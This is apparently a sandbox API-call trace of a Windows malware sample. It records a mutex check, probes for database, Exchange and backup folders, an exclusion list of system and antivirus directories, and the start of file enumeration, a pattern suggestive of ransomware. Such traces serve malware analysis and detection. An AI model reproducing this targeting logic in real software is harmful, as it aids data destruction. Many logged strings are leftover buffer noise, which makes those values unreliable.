[0058.868] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.868] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.868] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.868] GlobalUnlock (hMem=0x440004) returned 0 [0058.869] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.869] GlobalUnlock (hMem=0x44000c) returned 0 [0058.869] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.869] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.869] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.869] GlobalUnlock (hMem=0x44000c) returned 0 [0058.869] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.869] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.869] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.869] GlobalUnlock (hMem=0x44000c) returned 0 [0058.869] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.869] GlobalUnlock (hMem=0x440004) returned 0 [0058.869] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.869] SysReAllocStringLen (in: pbstr=0x18f784*=0x0, psz="C:\\Program Files\\Internet Explorer", len=0x22 | out: pbstr=0x18f784*="C:\\Program Files\\Internet Explorer") returned 1 [0058.869] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.869] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.870] GlobalUnlock (hMem=0x440004) returned 0 [0058.870] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.870] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.870] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.870] GlobalUnlock (hMem=0x440004) returned 0 [0058.870] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.870] GlobalUnlock (hMem=0x44000c) returned 0 [0058.870] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Microsoft\\Exchange Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⊎R≢R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0058.870] GetLastError () returned 0x3 [0058.870] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0058.870] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\\x18\x18") returned 21 [0058.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Microsoft SQL Server", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@∜R企@\x18䄌Q\x181")) returned 0xffffffff [0058.871] GetLastError () returned 0x2 [0058.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0058.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\\x18\x18") returned 9 [0058.871] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Firebird", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@℔R企@\x18䙌R\x18;")) returned 0xffffffff [0058.871] GetLastError () returned 0x2 [0058.871] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0058.871] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\\x18\x18") returned 8 [0058.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\MSSQL.1", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@呤U企@\x18?T\x18D")) returned 0xffffffff [0058.872] GetLastError () returned 0x2 [0058.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0058.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\") returned 37 [0058.872] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@∜R企@\x18℔R\x18j")) returned 0xffffffff [0058.872] GetLastError () returned 0x2 [0058.872] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.872] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\") returned 37 [0058.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\") returned 6 [0058.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Adobe", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@呤U企@\x18䙌R\x18q")) returned 0xffffffff [0058.873] GetLastError () returned 0x2 [0058.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="adobe\\ℐRP") returned 6 [0058.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\") returned 7 [0058.873] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Oracle", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@峤U企@\x18?T\x18y")) returned 0xffffffff [0058.873] GetLastError () returned 0x2 [0058.873] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.873] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="oracle\\R ") returned 7 [0058.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\") returned 7 [0058.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Archive", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@呤U企@\x18䙌R\x18\x81")) returned 0xffffffff [0058.874] GetLastError () returned 0x2 [0058.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0058.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\") returned 6 [0058.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Backup", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@峤U企@\x18?T\x18\x88")) returned 0xffffffff [0058.874] GetLastError () returned 0x2 [0058.874] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="backup䙈R ") returned 6 [0058.874] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\") returned 6 [0058.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Reserv", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@呤U企@\x18䙌R\x18\x8f")) returned 0xffffffff [0058.875] GetLastError () returned 0x2 [0058.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=6, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0058.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18e44c, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\") returned 7 [0058.875] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\Restore", lpFindFileData=0x18f200 | out: lpFindFileData=0x18f200*(dwFileAttributes=0x7758a846, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x557b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a918, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x559b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="册U䱠@峤U企@\x18?T\x18\x97")) returned 0xffffffff [0058.875] GetLastError () returned 0x2 [0058.875] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.875] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=7, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="restoreR ") returned 7 [0058.875] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.875] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.876] GlobalUnlock (hMem=0x44000c) returned 0 [0058.876] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.876] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.876] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.876] GlobalUnlock (hMem=0x44000c) returned 0 [0058.876] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.876] GlobalUnlock (hMem=0x440004) returned 0 [0058.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.876] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0058.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.876] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0058.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 46 [0058.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.876] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0058.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0058.876] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.876] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18effc, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0058.876] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8f0, cbMultiByte=11, lpWideCharStr=0x18e3fc, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0058.877] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.877] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.877] GlobalUnlock (hMem=0x440004) returned 0 [0058.877] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.877] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.877] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.877] GlobalUnlock (hMem=0x440004) returned 0 [0058.877] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.877] GlobalUnlock (hMem=0x44000c) returned 0 [0058.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 15 [0058.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 11 [0058.877] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.877] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0058.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\") returned 18 [0058.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 28 [0058.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=10, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 10 [0058.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=8, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 8 [0058.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=9, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 9 [0058.878] CharLowerBuffW (in: lpsz="C:\\Program Files\\Internet Explorer\\", cchLength=0x23 | out: lpsz="c:\\program files\\internet explorer\\") returned 0x23 [0058.878] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18e404, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\") returned 13 [0058.879] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.879] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.879] GlobalUnlock (hMem=0x44000c) returned 0 [0058.879] GlobalLock (hMem=0x44000c) returned 0x54f168 [0058.879] GlobalLock (hMem=0x440004) returned 0x557b78 [0058.879] GlobalHandle (pMem=0x54f168) returned 0x44000c [0058.879] GlobalUnlock (hMem=0x44000c) returned 0 [0058.879] GlobalHandle (pMem=0x557b78) returned 0x440004 [0058.879] GlobalUnlock (hMem=0x440004) returned 0 [0058.879] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*.*", lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e180 [0058.879] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa029a4d0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa029a4d0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0058.879] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ead9a68, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0058.879] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f524 | out: lpFindFileData=0x18f524*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f55643f, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x5f55643f, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x23ff2d20, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xce00, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0058.879] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f448 | out: lpLocalFileTime=0x18f448) returned 1 [0058.879] FileTimeToDosDateTime (in: lpFileTime=0x18f448, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0058.879] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.879] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.879] GlobalUnlock (hMem=0x440004) returned 0 [0058.879] GlobalLock (hMem=0x440004) returned 0x54f168 [0058.879] GlobalLock (hMem=0x44000c) returned 0x557b78 [0058.879] GlobalHandle (pMem=0x54f168) returned 0x440004 [0058.879] GlobalUnlock (hMem=0x440004) returned 0 [0058.879] GlobalHandle (pMem=0x557b78) returned 0x44000c [0058.879] GlobalUnlock (hMem=0x44000c) returned 0 [0058.880] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0058.880] CharLowerBuffW (in: lpsz="hmmapi.dll", cchLength=0xa | out: lpsz="hmmapi.dll") returned 0xa [0058.880] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, 